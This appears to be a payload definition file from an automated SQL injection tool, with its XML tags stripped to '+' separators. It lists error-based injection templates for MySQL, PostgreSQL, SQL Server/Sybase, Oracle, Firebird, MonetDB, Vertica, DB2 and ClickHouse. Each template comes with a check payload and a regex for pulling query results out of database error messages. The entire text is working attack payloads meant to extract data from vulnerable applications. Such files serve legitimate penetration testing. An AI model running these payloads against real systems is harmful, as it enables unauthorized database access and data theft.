+ + + + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) + 2 + 4 + 1 + 1,2,3,8,9 + 1 + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) + 2 + 4 + 3 + 1,8,9 + 1 + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + + AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
+ + + + + MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS) + 2 + 5 + 3 + 1,8,9 + 1 + OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + + OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
+ + + + MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + 2 + 4 + 1 + 1,2,3,8,9 + 1 + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + 2 + 4 + 3 + 1,2,3,8,9 + + 1 + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + 2 + 5 + 1 + 7 + 1 + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + 2 + 3 + 1 + 1,2,3,8,9 + 1 + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + 2 + 3 + 3 + 1,2,3,8,9 + + 1 + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 4.1 +
+ + + + + MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) + 2 + 5 + 3 + 1,8,9 + 1 + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 4.1 +
+ + + + + MySQL OR error-based - WHERE or HAVING clause (FLOOR) + 2 + 5 + 3 + 1,8,9 + 2 + OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + + OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + # + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL +
+ + + + PostgreSQL AND error-based - WHERE or HAVING clause + 2 + 1 + 1 + 1,8,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + PostgreSQL OR error-based - WHERE or HAVING clause + 2 + 1 + 3 + 1,8,9 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) + 2 + 1 + 1 + 1,8,9 + 1 + AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) + 2 + 2 + 3 + 1,8,9 + 2 + OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT) + 2 + 2 + 1 + 1,8,9 + 1 + AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT) + 2 + 3 + 3 + 1,8,9 + 2 + OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT) + 2 + 2 + 1 + 1,8,9 + 1 + AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') + + AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT) + 2 + 3 + 3 + 1,8,9 + 2 + OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') + + OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle AND error-based - WHERE or HAVING clause (XMLType) + 2 + 1 + 1 + 1,9 + 1 + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Oracle OR error-based - WHERE or HAVING clause (XMLType) + 2 + 1 + 3 + 1,9 + 2 + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) + 2 + 2 + 1 + 1,9 + 1 + AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle + >= 8.1.6 +
+ + + + Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) + 2 + 2 + 3 + 1,9 + 2 + OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle + >= 8.1.6 +
+ + + + Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 2 + 3 + 1 + 1,9 + 1 + AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 2 + 3 + 3 + 1,9 + 2 + OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) + 2 + 4 + 1 + 1,9 + 1 + AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) + 2 + 4 + 3 + 1,9 + 2 + OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Firebird AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+ + + + Firebird OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+ + + + MonetDB AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+ + + + MonetDB OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+ + + + Vertica AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+ + + + Vertica OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+ + + + IBM DB2 AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + IBM DB2 OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 1 + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 3 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + + + + + + + MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) + 2 + 2 + 1 + 1,2,3,4,5 + 1 + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) + + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + + + MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) + 2 + 5 + 1 + 1,2,3,9 + 3 + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.5 error-based - Parameter replace (EXP) + 2 + 5 + 1 + 1,2,3,9 + 3 + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET) + 2 + 3 + 1 + 1,2,3,9 + 3 + GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+ + + + MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS) + 2 + 5 + 1 + 1,2,3,9 + 3 + JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + + JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
+ + + + MySQL >= 5.0 error-based - Parameter replace (FLOOR) + 2 + 4 + 1 + 1,2,3,9 + 3 + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) + 2 + 4 + 1 + 1,2,3,9 + 3 + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) + + + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) + 2 + 2 + 1 + 1,2,3,9 + 3 + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) + + + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + PostgreSQL error-based - Parameter replace + 2 + 2 + 1 + 1,2,3,9 + 3 + (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + PostgreSQL error-based - Parameter replace (GENERATE_SERIES) + 2 + 5 + 1 + 1,2,3,9 + 3 + (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase error-based - Parameter replace + 2 + 3 + 1 + 1,3 + 3 + (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + + (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase error-based - Parameter replace (integer column) + 2 + 4 + 1 + 1,3 + 3 + (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') + + (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
